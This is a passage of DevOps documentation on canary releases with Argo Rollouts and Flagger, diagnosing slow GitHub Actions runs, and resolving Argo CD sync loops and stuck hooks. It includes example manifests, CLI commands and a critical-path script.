  • Scopes and store references limit which namespace or team can obtain which secret

Cons

  • Every method has a key or credential that must be bootstrapped, backed up and rotated outside Git
  • A cluster rebuild needs the sealing key, the SOPS key or the external store, not only the repository
  • Operators run with broad Secret permissions, and the result still lands in etcd as a Kubernetes Secret
  • Committed ciphertext cannot be deleted from history, so a later key leak exposes every past version

How Argo Rollouts and Flagger shift traffic in steps, let a metric analysis abort a canary, and show up as Suspended or Degraded in Argo CD.

The problem

A rolling update finishes in two minutes, every new Pod passes its readiness probe, and the error rate for the 3% of requests that hit a rarely used endpoint climbs to 40% before anyone looks at a dashboard. The Deployment reports success because its rules only watch Pods, not user-visible metrics. Progressive delivery shifts traffic to the new version in steps, asks a metric query whether each step is acceptable, and aborts by itself when the answer is no, so the blast radius is a percentage and the decision is not a person watching a graph.

How it works

  • Argo Rollouts lists what a Deployment rolling update lacks: few controls over speed, no control of traffic flow to the new version, readiness probes that are unsuitable for deeper checks, no way to query external metrics, and the ability to "halt the progression" but not to abort and roll back automatically. A `Rollout` is a drop-in replacement for a Deployment with the same pod template; it manages the ReplicaSets itself, and a new ReplicaSet becomes "stable" once it is scaled up and, optionally, passes an analysis. A second change during a rollout replaces the in-flight canary.
  • A canary `Rollout` runs `steps`: `setWeight`, `pause`, `setCanaryScale` and `analysis`. A `pause` without a duration waits indefinitely until `kubectl argo rollouts promote`. Without traffic management the weight is only a best-effort ratio of ReplicaSet sizes. With a traffic router (NGINX, ALB, APISIX, Istio, Linkerd or SMI per the docs) the stable ReplicaSet stays fully scaled, which keeps abort instant but can double the Pods unless `dynamicStableScale` is on. A canary with no steps behaves like a rolling update.
  • Analysis is a separate set of objects. An `AnalysisTemplate` defines the metrics (`interval`, `successCondition`, `failureCondition`, `failureLimit`, a provider such as Prometheus), an `AnalysisRun` is one instance that ends `Successful`, `Failed` or `Inconclusive`, and the result makes the rollout continue, abort or pause. It can run in the background from a `startingStep` or inline as a step. `failureLimit` defaults to `0`, so no failed measurement is tolerated (the controller fails the run when failed measurements exceed the limit, so `failureLimit: 3` tolerates three and fails on the fourth, although the docs prose says the run fails "after three"); `consecutiveSuccessLimit` exists since v1.8; an `Inconclusive` run pauses the rollout for a human decision.
  • A failed analysis aborts: the docs describe the canary weight going back to zero and the Rollout becoming `Degraded`, with the stable ReplicaSet still serving. Nothing in Git changes, so the repository still declares the new version while the cluster runs the old one. The kubectl plugin offers `promote` and `retry` for paused or aborted rollouts, and per the spec doc `abortScaleDownDelaySeconds` (default 30 seconds, `0` keeps the canary pods) delays scaling the canary down after an abort for a canary with traffic routing.
  • Flagger takes the other shape. A `Canary` object targets an existing Deployment or DaemonSet and, per the docs, generates a `<name>-primary` Deployment that holds the stable version while the target is scaled to zero. `analysis` has `interval` (default 60 s), `threshold` (failed checks before rollback), `maxWeight` and `stepWeight`; the minimum promotion time is `interval * (maxWeight / stepWeight)` and the time to roll back is `interval * threshold`. On failure Flagger routes all traffic to primary, scales the canary to zero, marks it failed and waits for the next change to the target. `progressDeadlineSeconds` defaults to ten minutes, and `skipAnalysis: true` promotes without checks.
  • The metric is the contract. Typical checks are success ratio and latency (Flagger's built-in `request-success-rate` with `thresholdRange.min: 99` and `request-duration` with `max: 500`), and the query should be the same SLI as the SLO so the canary and the burn-rate alert agree on what bad means. At 10% weight a low-traffic service may produce too few requests for a stable ratio; Argo Rollouts documents that providers can return NaN, infinity or an empty result and that conditions such as `isNaN(result) || result >= 0.95` decide how those count.
  • Interplay with Argo CD is through health. Argo CD bundles Lua checks: for a Rollout it surfaces the Rollout's own `status.phase` with `Paused` mapped to `Suspended` (only when `status.phase` is absent, as on older Rollouts, the same script falls back to mapping the `RolloutAborted`, `ProgressDeadlineExceeded` and `InvalidSpec` conditions to `Degraded`), and a Flagger `Canary` in phase `Failed` is `Degraded`. So an automatic abort shows as Synced and Degraded, with Git still naming the bad version, and the way back is a revert or a fix-forward commit. A rollout paused at a step reads as Suspended, which is not Healthy, so hooks that wait for Healthy would wait (inference, not run here). Because Flagger scales the target Deployment to zero, `replicas` in Git can show as drift, and `ignoreDifferences` on `/spec/replicas` is the documented tool (inference). The Rollout CRD embeds the Pod spec, so `knownTypeFields` avoids quantity reformatting noise.
  • It does not remove the other release risks. Schema changes still need expand and contract because old and new versions run together, extra capacity is needed while both exist, analysis only catches what its metric measures, and a slow burn can pass a ten-minute step. Traffic shifting needs a mesh or ingress that supports weights, and vendor-specific shifting configurations are out of scope here; see Deployment Strategies for the comparison with blue-green and plain rolling updates.

Examples

A canary Rollout: 10%, ten minutes, 50%, ten minutes, with a background analysis from step 1; no trafficRouting here, so weights are approximated by ReplicaSet sizes (kubeconform with the CRDs catalog: valid; behaviour per the Rollouts docs, not run here).

yaml
apiVersion: argoproj.io/v1alpha1
kind: Rollout
metadata:
  name: demo-app
  namespace: demo-app
spec:
  replicas: 4
  selector:
    matchLabels:
      app: demo-app
  template:
    metadata:
      labels:
        app: demo-app
    spec:
      containers:
        - name: demo-app
          image: ghcr.io/example/demo-app:1.4.0
  strategy:
    canary:
      analysis:
        templates:
          - templateName: success-rate
        startingStep: 1
        args:
          - name: service-name
            value: demo-app-canary
      steps:
        - setWeight: 10
        - pause:
            duration: 10m
        - setWeight: 50
        - pause:
            duration: 10m

The metric contract: a success ratio sampled every 5 minutes, tolerated for three failed samples, with an empty or NaN result counted as success on purpose (the query is illustrative; kubeconform with the CRDs catalog: valid).

yaml
apiVersion: argoproj.io/v1alpha1
kind: AnalysisTemplate
metadata:
  name: success-rate
  namespace: demo-app
spec:
  args:
    - name: service-name
  metrics:
    - name: success-rate
      interval: 5m
      successCondition: isNaN(result[0]) || result[0] >= 0.95
      failureLimit: 3
      provider:
        prometheus:
          address: http://prometheus.example.com:9090
          query: |
            sum(rate(http_requests_total{service="{{args.service-name}}",code!~"5.."}[5m]))
            /
            sum(rate(http_requests_total{service="{{args.service-name}}"}[5m]))

Flagger's version of the same idea: five 1-minute steps up to 50%, five failed checks mean rollback, so minimum promotion is 1m * (50 / 10) = 5 minutes and rollback takes 1m * 5 (formulas per the Flagger docs; kubeconform with the CRDs catalog: valid).

yaml
apiVersion: flagger.app/v1beta1
kind: Canary
metadata:
  name: demo-app
  namespace: demo-app
spec:
  targetRef:
    apiVersion: apps/v1
    kind: Deployment
    name: demo-app
  progressDeadlineSeconds: 600
  service:
    port: 8080
  analysis:
    interval: 1m
    threshold: 5
    maxWeight: 50
    stepWeight: 10
    metrics:
      - name: request-success-rate
        thresholdRange:
          min: 99
        interval: 1m
      - name: request-duration
        thresholdRange:
          max: 500
        interval: 1m

In practice

  • Argo Rollouts — The Rollout, AnalysisTemplate, AnalysisRun and Experiment CRDs, with blue-green and canary strategies and metric providers such as Prometheus and Datadog.
  • Flagger — A Flux ecosystem operator that automates canary, blue-green and A/B releases of an existing Deployment through a Canary object.
  • Prometheus — The most common metric provider behind both tools, queried for success ratio and latency at each step.
  • Istio — One of the service meshes whose weighted routing both tools can drive for real traffic shifting; Linkerd, NGINX and others are alternatives.
  • Argo CD — Ships Lua health checks that map Rollout phases and Flagger Canary phases to Healthy, Suspended or Degraded.

Trade-offs

Pros

  • A bad release reaches a percentage of traffic and is aborted without a person watching
  • The promotion rule is a reviewed, versioned query instead of an on-call judgement call
  • Pauses and Inconclusive runs keep a human gate where the metric cannot decide
  • The stable version keeps serving while the canary is analysed, so abort is fast

Cons

  • Needs a meaningful metric, enough traffic per step and, for real weights, a mesh or ingress
  • Extra capacity while both versions run, and a longer release
  • An automatic abort leaves Git declaring the failed version, so GitOps state and cluster disagree until someone reverts
  • Another set of CRDs, health mappings and drift rules to maintain next to Argo CD or Flux

Troubleshooting

A pull request check that crept from 9 to 27 minutes: split the wall clock into queue, setup, work and `needs` waiting with `gh run view --json jobs`, compute the critical path, then check cache hits, serial stages and stale runs in that order.

The problem

A pull request check that took 9 minutes in the spring now takes 27, and nobody changed a test. The wall clock is the sum of four things that look identical in the Actions UI: waiting for a runner, setting up the job, doing the work and waiting on `needs`. Adding runners or splitting a test suite fixes at most one of them, and parallelising a job that is off the critical path fixes none, so the first move is to measure which bucket grew.

How it works

  • Symptom to timestamps: read the data, not the log. `gh run view RUN_ID --json createdAt,startedAt,jobs` returns the run's `createdAt` and `startedAt` and, per job, `databaseId`, `name`, `status`, `conclusion`, `startedAt`, `completedAt`, `url` and `steps[]` with `name`, `number`, `status`, `conclusion`, `startedAt` and `completedAt` (field names from the gh 2.89.0 source, `pkg/cmd/run/shared`). `gh run list --json` has the run-level fields without `jobs`. Four gaps are worth reading: run created to run started, previous `needs` job finished to this job started (runner allocation), job start to the first real step (setup), and the step durations (work).
  • Compute the critical path instead of adding up jobs. The script in the first snippet reads `needs` from the workflow file and the timestamps from `run.json`. On the synthetic workflow (actionlint 1.7.12 clean) with durations of 150, 480, 180, 240 and 720 s, the sum of jobs is 1770 s and so is the critical path, because `install -> unit -> lint -> build -> e2e` is a straight chain. `lint` needs only the source yet waits for `unit`, and an `install` job that every later job repeats saves nothing.
  • Restructure before optimising. Dropping the `install` job and letting `lint` and `unit` start together leaves the critical path at 1440 s via `unit -> build -> e2e` for the same job durations (a prediction from the same data, not a re-run), and `lint` now costs no wall-clock time at all. After that, shortening `lint` changes nothing, while shortening `unit`, `build` or `e2e` shortens the run second for second. Add a `needs` edge only when a failure in the earlier job makes the later one pointless.
  • Setup is a per-job tax. With illustrative step times of `Set up job` 2 s, `actions/checkout` 4 s, `npm ci` 100 s and `npm test` 373 s, the job spends 106 s before its work starts, and five jobs that each reinstall pay that five times in runner minutes and, on the critical path, at least once in wall-clock time. Look at the largest non-test step first. Restoring a dependency cache or reusing a built artifact removes it; splitting tests into more jobs multiplies it (see ci-caching and matrix-and-parallelism).
  • Queue: per the GitHub limits page (as of 2026-10) standard GitHub-hosted runners allow 20, 40, 60 and 500 concurrent jobs on Free, Pro, Team and Enterprise, and macOS jobs 5, 5, 5 and 50. A matrix may generate 256 jobs per run, so a 40-cell matrix on a Free plan runs in two waves, and the second wave shows up as a large wait gap with normal step times. A self-hosted job can wait 24 hours in the queue before it is cancelled. REST job objects also carry `created_at`, but the docs list only its type, so confirm on your own runs before using `started_at` minus `created_at` as a queue metric. Not run here.
  • Cache misses have a short checklist. In `actions/cache` only an exact key sets `cache-hit` to `true`, a `restore-keys` prefix match is partial and the install step still runs, and `hashFiles` on a pattern that matches nothing returns an empty string, so a wrong path gives a constant key that hits forever on stale data. As of 2026-10 a repository has 10 GB by default (owners and admins can raise the limit), eviction takes the oldest last access first and entries unused for 7 days are removed, which can delete the default-branch entry that every new branch restores from. `gh cache list --sort last_accessed_at --order asc` shows them, and `--json` offers `id`, `key`, `ref`, `sizeInBytes`, `createdAt`, `lastAccessedAt` and `version`.
  • Layer caches miss for the same reason: the key changes on every commit. Observed on Docker 29.8.2 with buildx 0.37.1, using an 8 s `sleep` as a stand-in for an install: with `COPY . .` before the install, a one-line source change cost 8.9 s because the install layer reran, while copying only `requirements.txt` first brought the same change down to 0.9 s with the install step reported as `CACHED`, and changing the requirements cost 9.4 s. Put the slow, rarely changing step before the fast, frequently changing one (see layer-order-cache).
  • Stale and hung work looks like slowness. A new push to the same pull request should cancel the old run: a `concurrency` group keyed on `github.head_ref || github.run_id` with `cancel-in-progress` for `pull_request` events only. `timeout-minutes` defaults to 360 per job, so a hung test holds a runner for up to six hours; set it per job to a few times the normal duration. To find when the slowdown started, pull `gh run list --workflow ci.yml --json databaseId,createdAt,startedAt,updatedAt,conclusion,attempt --limit 100` and compare `updatedAt - startedAt` (an approximation: it is the last update, not a documented completion time). Runs with `attempt` above 1 are retries that hide a flaky test (see flaky-tests), not a slower suite.

Examples

Rebuild the critical path from the run timestamps and the `needs` graph (the durations are synthetic; the script and the output shape were run, the `gh` call is the documented field list, not run here without repository access).

bash
# 1. the timeline of one run: run-level createdAt/startedAt plus every job and step
gh run view "$RUN_ID" --json createdAt,startedAt,jobs > run.json

# 2. where does a single job spend its time? (seconds per step)
gh run view "$RUN_ID" --json jobs --jq '.jobs[] | .name as $j | .steps[] | [$j, .name, ((.completedAt | fromdate) - (.startedAt | fromdate))] | @tsv'
# unit  Set up job                2
# unit  Run actions/checkout@v7   4
# unit  Run npm ci              100
# unit  Run npm test            373

# 3. critical path = longest chain through needs (pip install pyyaml)
python3 - .github/workflows/ci.yml run.json <<'PY'
import json, sys, yaml
from datetime import datetime

t = lambda s: datetime.strptime(s, "%Y-%m-%dT%H:%M:%SZ")
wf = yaml.safe_load(open(sys.argv[1]))["jobs"]
run = json.load(open(sys.argv[2]))
jobs = {j["name"]: j for j in run["jobs"]}
needs = {k: [v["needs"]] if isinstance(v.get("needs"), str) else v.get("needs", []) for k, v in wf.items()}
dur = lambda n: (t(jobs[n]["completedAt"]) - t(jobs[n]["startedAt"])).total_seconds()
memo = {}
def finish(n):
    if n not in memo:
        best = max((finish(p) for p in needs[n]), default=(0, []))
        memo[n] = (best[0] + dur(n), best[1] + [n])
    return memo[n]

for n in wf:
    ready = max((t(jobs[p]["completedAt"]) for p in needs[n]), default=t(run["startedAt"]))
    wait = (t(jobs[n]["startedAt"]) - ready).total_seconds()
    print(f"{n:8} work={dur(n):5.0f}s  waited={wait:4.0f}s  needs={needs[n]}")
total, path = max(finish(n) for n in wf)
print(f"sum of jobs={sum(dur(n) for n in wf):.0f}s  critical path={total:.0f}s via {' -> '.join(path)}")
print(f"queue before first job={(t(run['startedAt']) - t(run['createdAt'])).total_seconds():.0f}s")
PY
# install  work=  150s  waited=  28s  needs=[]
# unit     work=  480s  waited=   5s  needs=['install']
# lint     work=  180s  waited=   5s  needs=['unit']
# build    work=  240s  waited=  10s  needs=['lint', 'unit']
# e2e      work=  720s  waited=   5s  needs=['build']
# sum of jobs=1770s  critical path=1770s via install -> unit -> lint -> build -> e2e
# queue before first job=12s

The restructured graph: no `install` job, `lint` and `unit` in parallel, a dependency cache per job, a superseded pull request run cancelled, and a timeout on every job (actionlint 1.7.12: no findings; with the same durations the critical path becomes `unit -> build -> e2e`, 1440 s).

yaml
name: ci
on:
  pull_request:
concurrency:
  group: ci-${{ github.workflow }}-${{ github.head_ref || github.run_id }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}
jobs:
  lint:
    runs-on: ubuntu-24.04
    timeout-minutes: 5
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: 22
          cache: npm
      - run: npm ci
      - run: npm run lint
  unit:
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@v7
      - uses: actions/setup-node@v7
        with:
          node-version: 22
          cache: npm
      - run: npm ci
      - run: npm test
  build:
    needs: [lint, unit]
    runs-on: ubuntu-24.04
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@v7
      - run: npm ci
      - run: npm run build
  e2e:
    needs: [build]
    runs-on: ubuntu-24.04
    timeout-minutes: 30
    steps:
      - uses: actions/checkout@v7
      - run: npm ci
      - run: npm run e2e

Layer-cache miss versus hit, measured with a local build (Docker 29.8.2, buildx 0.37.1; the 8 s sleep stands in for a package install, timings are wall-clock seconds for one run each).

bash
# A: everything is copied first, so any source edit invalidates the install layer
cat > Dockerfile.a <<'EOF'
FROM python:3.13-slim
WORKDIR /app
COPY . .
RUN python3 -c "import time; time.sleep(8)" && echo deps > /deps.txt
EOF

# B: dependency manifest first, source last
cat > Dockerfile.b <<'EOF'
FROM python:3.13-slim
WORKDIR /app
COPY requirements.txt .
RUN python3 -c "import time; time.sleep(8)" && echo deps > /deps.txt
COPY src/ src/
EOF

echo b >> src/app.py
docker build -f Dockerfile.a -t demo-a . > /dev/null   # 8.9 s: install layer reran
docker build -f Dockerfile.b -t demo-b . > /dev/null   # 0.9 s: install layer CACHED
echo flask==3.1 > requirements.txt
docker build -f Dockerfile.b -t demo-b . > /dev/null   # 9.4 s: manifest changed, install reran

# the same question on Actions: which entries exist, how big, when last used
gh cache list --sort last_accessed_at --order asc --limit 20

In practice

  • GitHub Actions — Per the limits page (as of 2026-10): job concurrency of 20 to 500 on standard runners depending on plan, at most 256 jobs from one matrix, 6 hours per job, 10 GB of cache per repository by default. Each of these shows up as a different kind of gap in the job timeline.
  • GitHub CLI — `gh run view --json jobs` and `gh run list --json` expose the timestamps that make the four buckets measurable; `gh cache list` and `gh cache delete` cover the cache side. Field names above come from the 2.89.0 source.
  • actionlint — Validates the `needs` graph before a run starts (missing job, cycles) and the expressions in `concurrency` and `with` inputs, so a restructured workflow can be checked locally in milliseconds instead of by a 27-minute run.
  • Docker BuildKit — Reports each unchanged layer as `CACHED` in `--progress=plain` output, which makes a cache miss visible as the first step without that word, and everything after it also reruns.
  • actions/cache — Exposes `cache-hit` as an output, restores through ordered `restore-keys` prefixes, and never overwrites an existing key, which is why a key without a lock-file hash freezes the cache at its first contents.

Trade-offs

Pros

  • Measuring the four buckets first points the effort at the one that grew instead of at the most familiar one
  • Restructuring the `needs` graph costs no runner minutes and often removes more wall-clock time than any tuning of a single job
  • Cancelling superseded runs and setting per-job timeouts reduce both latency and cost without touching the tests

Cons

  • The `gh` timestamps do not define queue time, so queue-versus-setup splits are approximations until checked on your own runs
  • More parallel jobs mean more setup, more runner minutes and more status checks to keep stable
  • A critical-path script needs the job names in the workflow file to match the names in the run data, which breaks with matrix cells and reusable workflows
  • Aggressive cancellation can hide a failure that only the older run would have reported

An Argo CD Application that is OutOfSync right after a successful sync, or flaps with `selfHeal`: find the field with `argocd app diff`, read `managedFields` to see who else owns it, then choose between removing it from Git, `ignoreDifferences` with `RespectIgnoreDifferences=true`, or server-side diff.

The problem

`demo-web` is Synced for a few seconds after every sync and then OutOfSync again, or the sync history grows by one entry every minute while the HPA and Argo CD take turns setting `spec.replicas` to 6 and 2. Nothing is broken in Git and the sync reports success, which is why the loop survives for weeks. Two writers claim the same field, or a field exists on the live object that the manifest never had, and the diff finds it on every refresh.

How it works

  • Classify the shape first. (a) Persistent OutOfSync after a successful sync with no further activity: per the auto sync doc an automated sync makes one attempt per unique commit SHA and parameters, so without `selfHeal` the Application simply stays OutOfSync. (b) A flap under `selfHeal: true`: each completed sync adds an entry to `argocd app history`, so a history that grows every few minutes with no commits points here. (c) Status churn without any apply: the UI flips but no operation runs. Case (a) is a diff problem, case (b) a field-ownership problem.
  • Find the field. `argocd app diff demo-web --refresh` renders the live-versus-target diff and, per the CLI reference, exits 1 when a diff is found, 0 when none and 2 on errors; `--hard-refresh` also drops the cached target manifests, and Kubernetes Secrets are ignored from this diff. `argocd app get demo-web -o json | jq` on `.status.resources[]` lists each resource with `status`, `health`, `requiresPruning` and `syncWave`, which narrows the diff to one object.
  • Ask who else writes it. `kubectl get --show-managed-fields -o json` shows one entry per manager. Observed on kube-apiserver v1.37.1 with etcd 3.6.5 (no controllers; `kubectl scale` stands in for the HPA, which also writes through the scale subresource): `argocd-controller` with operation `Apply` (Argo CD's server-side manager name in its source) and `kubectl` with operation `Update` and subresource `scale` owning `.spec.replicas`. The same view finds webhook, operator and cloud-controller writers by their manager names.
  • Conflicts are silent in Argo CD. A plain server-side apply refuses to overwrite another manager: observed `error: Apply failed with 1 conflict: conflict with "kubectl" with subresource "scale" using apps/v1: .spec.replicas`. Per the sync options doc, `ServerSideApply=true` runs `kubectl apply --server-side --force-conflicts`, and observed with `--force-conflicts` the value went back from 6 to 2 and `argocd-controller` became the only manager. The default client-side apply also overwrites a declared field through its 3-way merge. Either way the HPA writes again and the loop closes.
  • Fix 1, the cleanest: do not declare the field. The best practices page says to omit `replicas` when an HPA controls it. Observed: applying a manifest without `replicas` after a scale to 6 returned success with no conflict and the value stayed 6, also after a later image bump. One trap: when the applier was the only owner of `replicas: 2` and the field is removed, the live value fell to the default 1 on that first apply (observed), so make the change in a quiet window or keep `minReplicas` above that.
  • Fix 2, `ignoreDifferences`: items select by `group` (without version) and `kind`, optionally by exact `name` and `namespace`, then `jsonPointers` (`/` in a key is `~1`), `jqPathExpressions` (limited to one second unless `ignore.normalizer.jq.timeout` is raised) or `managedFieldsManagers`. Per the sync options doc it only affects the diff by default, while the desired state is still applied as is, so the next sync can overwrite the field and flip the status again; `RespectIgnoreDifferences=true` pre-patches the desired state and is effective only for objects that already exist. The annotation `argocd.argoproj.io/ignore-differences` takes JSON pointers only. Per the FAQ, `managedFieldsManagers` relies on a static schema and can fail with `field not declared in schema` for fields newer than the Argo CD build.
  • Other signatures that look like loops. Normalisation: a manifest with `cpu: 1000m` and `memory: 3072Mi` reads back as `"cpu":"1","memory":"3Gi"` (observed); Argo CD normalises these for core types, while CRDs that embed PodSpec need `resource.customizations.knownTypeFields` (diffing doc). Defaults: `strategy`, `revisionHistoryLimit: 10`, `progressDeadlineSeconds: 600` and `terminationGracePeriodSeconds: 30` appear on the live Deployment (observed) and are not drift. A field the schema does not know: server-side apply fails with `.spec.replica: field not declared in schema` (observed), whereas client-side apply with `--validate=false` drops it silently and the diff reports it forever (per the diffing doc). A Helm chart with `randAlphaNum` renders different data on every `helm template` (observed: `BKfiL5gB`, then `wq7DciY3`).
  • Let the server compute the diff. Per the diff strategies doc, Server-Side Diff runs a server-side apply in dry-run mode for each resource and compares the result with the live state, so server defaults and admission controllers take part; it is used automatically when the `ServerSideApply` sync option is on, is stable since v3.1.0 and can be forced per Application with `argocd.argoproj.io/compare-options: ServerSideDiff=true`. Mutating-webhook changes are excluded unless `IncludeMutationWebhook=true` is added. While debugging, note the pacing: the auto sync doc still says the self-heal retry waits 5 seconds by default (as of 2026-10), whereas the controller source declares `--self-heal-timeout-seconds` as 5 through v2.12 but as 0 from v2.13 on (checked on v2.13.0, v2.14.0, v3.0.0, v3.1.0 and master), with a backoff of 2 s, factor 3 and a 300 s cap (`--self-heal-backoff-timeout-seconds`, `--self-heal-backoff-factor`, `--self-heal-backoff-cap-seconds`), so read the arguments of your own `argocd-application-controller`. Flux contrasts per its docs: a Kustomization corrects drift on every interval, and `kustomize.toolkit.fluxcd.io/ssa: Merge` preserves fields that other tools added. Not run against Argo CD here.

Examples

Reproduce the ownership fight on a real kube-apiserver (v1.37.1 with etcd 3.6.5, no controllers, `kubectl scale` as the second writer), then the fix; the Argo CD commands at the end are per the CLI reference, not run here.

bash
cat > deploy.yaml <<'EOF'
apiVersion: apps/v1
kind: Deployment
metadata:
  name: demo-web
  namespace: demo
spec:
  replicas: 2
  selector:
    matchLabels:
      app: demo-web
  template:
    metadata:
      labels:
        app: demo-web
    spec:
      containers:
        - name: web
          image: ghcr.io/example/demo-web:1.0.0
EOF
kubectl apply --server-side --force-conflicts --field-manager=argocd-controller -f deploy.yaml
kubectl -n demo scale deploy/demo-web --replicas=6

kubectl -n demo get deploy demo-web --show-managed-fields -o json \
  | jq -c '.metadata.managedFields[] | {manager, operation, subresource}'
# {"manager":"argocd-controller","operation":"Apply","subresource":null}
# {"manager":"kubectl","operation":"Update","subresource":"scale"}

kubectl apply --server-side --field-manager=argocd-controller -f deploy.yaml
# error: Apply failed with 1 conflict: conflict with "kubectl" with subresource "scale" using apps/v1: .spec.replicas
kubectl apply --server-side --force-conflicts --field-manager=argocd-controller -f deploy.yaml
kubectl -n demo get deploy demo-web -o jsonpath='{.spec.replicas}'   # 2: the HPA's value is gone

# fix: stop declaring replicas, then the second writer keeps its value
sed '/replicas: 2/d' deploy.yaml > deploy-noreplicas.yaml
kubectl -n demo scale deploy/demo-web --replicas=6
kubectl apply --server-side --field-manager=argocd-controller -f deploy-noreplicas.yaml
kubectl -n demo get deploy demo-web -o jsonpath='{.spec.replicas}'   # 6, no conflict

# on the Argo CD side (per the CLI reference): exit 1 = diff found, 0 = none, 2 = error
argocd app diff demo-web --refresh; echo "exit=$?"
argocd app get demo-web -o json \
  | jq -r '.status.resources[] | select(.status == "OutOfSync") | "\(.kind)/\(.name)"'

Ignore what another controller owns, in the diff and in the apply: `managedFieldsManagers` takes every field owned by `kube-controller-manager` (the example from the diffing doc), and `RespectIgnoreDifferences=true` stops the next sync from overwriting it (kubeconform with the CRDs catalog: valid; runtime behaviour per the docs, not run here).

yaml
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: demo-web
  namespace: argocd
spec:
  project: demo-project
  source:
    repoURL: https://github.com/example/demo-config.git
    targetRevision: main
    path: overlays/prod
  destination:
    name: in-cluster
    namespace: demo-web
  syncPolicy:
    automated:
      prune: true
      selfHeal: true
    syncOptions:
      - RespectIgnoreDifferences=true
  ignoreDifferences:
    - group: apps
      kind: Deployment
      name: demo-web
      namespace: demo-web
      managedFieldsManagers:
        - kube-controller-manager

Let the API server compute the diff, including mutating-webhook changes, while server-side apply is on (annotation and option names per the diff strategies and sync options docs; kubeconform: valid).

yaml
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
  name: demo-web
  namespace: argocd
  annotations:
    argocd.argoproj.io/compare-options: ServerSideDiff=true,IncludeMutationWebhook=true
spec:
  project: demo-project
  source:
    repoURL: https://github.com/example/demo-config.git
    targetRevision: main
    path: overlays/prod
  destination:
    name: in-cluster
    namespace: demo-web
  syncPolicy:
    automated:
      selfHeal: true
    syncOptions:
      - ServerSideApply=true

In practice

  • Argo CD — Compares live and target state with a 3-way diff by default, applies with `kubectl apply` unless `ServerSideApply=true`, and exposes `ignoreDifferences`, `RespectIgnoreDifferences`, `knownTypeFields` and Server-Side Diff as the escape hatches described above.
  • Kubernetes server-side apply — Tracks field ownership per manager in `metadata.managedFields` and rejects an apply that would overwrite another manager unless `--force-conflicts` is given, which is what makes the fight visible in plain `kubectl` and invisible in Argo CD.
  • Kubernetes HorizontalPodAutoscaler — Writes `spec.replicas` through the scale subresource and, per the Argo CD diffing doc, reorders `spec.metrics`, so both the replica count and the metrics list are classic sources of OutOfSync.
  • Istio — Injects its sidecar container through a mutating admission webhook, which is the usual reason a Deployment has containers and init containers that the manifest in Git never listed; the `jqPathExpressions` example in the diffing doc targets exactly that shape.
  • Flux — Applies with server-side apply and corrects drift on every Kustomization interval; per its docs the annotation `kustomize.toolkit.fluxcd.io/ssa: Merge` keeps fields that other controllers added, which is the Flux counterpart of ignoring a field owner.

Trade-offs

Pros

  • Removing a field from Git ends the fight at its source and leaves one owner per field
  • `ignoreDifferences` with `managedFieldsManagers` handles a whole class of controller-owned fields without listing each path
  • Server-Side Diff makes the predicted live state come from the API server, so defaults and admission policy stop producing phantom differences

Cons

  • An ignored field is no longer governed by Git, so a wrong value in the cluster goes unnoticed
  • `ignoreDifferences` without `RespectIgnoreDifferences=true` hides the difference but the next sync still overwrites the field
  • Server-Side Diff costs one dry-run apply per resource, and its cached result is recomputed on every refresh, new revision, spec change or resource version change
  • Forced server-side apply resolves conflicts in Argo CD's favour without telling anyone, so the other writer loses its value silently

A sync stays in `Running` with `waiting for completion of hook batch/Job/...`, an Application stays `Progressing`, or deletion hangs: read `operationState`, find the hook or resource it waits for, then fix the Job, the health check or the finalizer, and use `argocd app terminate-op` last.

The problem

A deploy has been in `Running` for 40 minutes with the message `waiting for completion of hook batch/Job/demo-app-migrate`, or the sync finished but the Application stays `Progressing` for an hour, or `argocd app delete` never returns. Argo CD is not frozen: it is waiting for a condition that will not become true, such as a hook Job that retries for ten minutes before failing, a Service that never gets an address, or a finalizer that nobody removes. Terminating the operation too early can leave a half-applied migration behind.

How it works

  • Name the kind of stuck. The sync operation is `Running` (a hook or a wave is waiting), the operation `Succeeded` but `status.health.status` is `Progressing` (a child is not healthy), or a delete hangs (a finalizer or a PreDelete hook). From the gitops-engine source the running message is `waiting for completion of hook <group>/<kind>/<name>` for hooks, `waiting for healthy state of <group>/<kind>/<name>` for ordinary resources and `waiting for deletion of ...` for pruned objects, each followed by ` and N more hooks` or ` and N more resources`. The sync waves doc shows the same text with `PHASE Running` and a hook row `STATUS Running`, `HOOK PreSync`, `MESSAGE Pending deletion`.
  • Read the operation, then the resources. `.status.operationState` has `phase` (`Running`, `Terminating`, `Failed`, `Error` or `Succeeded` in the source), `message`, `startedAt` and `syncResult.resources[]` with `hookType`, `hookPhase`, `syncPhase` and `message`; `.status.resources[]` has `hook`, `syncWave`, `health.status` and `requiresPruning`; `.status.conditions[].type` includes `SyncError`, `ComparisonError` and `DeletionError` (CRD and types.go). The field names were checked against the Application CRD; the commands were not run against Argo CD here.
  • A hook Job ends only through its conditions. Per the gitops-engine health code a Job is `Progressing` until it has a `Complete` or `Failed` condition, and `Failed` becomes `Degraded`. Observed on kube-apiserver v1.37.1 that a Job without settings gets `backoffLimit: 6` and no `activeDeadlineSeconds`; the Kubernetes docs give an exponential back-off of 10s, 20s, 40s and so on capped at six minutes, which for a crash-looping pod adds up to about ten minutes of waiting before the Job fails (10+20+40+80+160+320 s, arithmetic from that formula). Set a small `backoffLimit` and an `activeDeadlineSeconds`, which takes precedence over `backoffLimit`.
  • A Job whose pod never exits never completes. A regular second container such as a proxy sidecar keeps the Pod running after the migration container exits 0; per the Kubernetes docs a native sidecar (an init container with `restartPolicy: Always`) does not prevent a Job from completing. The sync waves doc adds that a Job exiting 0 counts as success whatever state the database is in, and that the operation stays open, with the Application `Progressing`, for as long as the hook runs.
  • Hook objects have their own lifecycle. The sync waves doc warns against `ttlSecondsAfterFinished` on hook Jobs, because Argo CD has to read the Job to learn the result and may end up waiting for a hook that no longer exists. Per its source, Argo CD adds the finalizer `argocd.argoproj.io/hook-finalizer` to hooks so that they are deleted only after the phase completes. Observed on a real API server: deleting a Job that carries that finalizer left it `Terminating` with `deletionTimestamp` set until the finalizer was patched away, and the same state appears as `Pending deletion` in the docs example. For an unwanted hook the docs workaround is `argocd.argoproj.io/hook: Skip`.
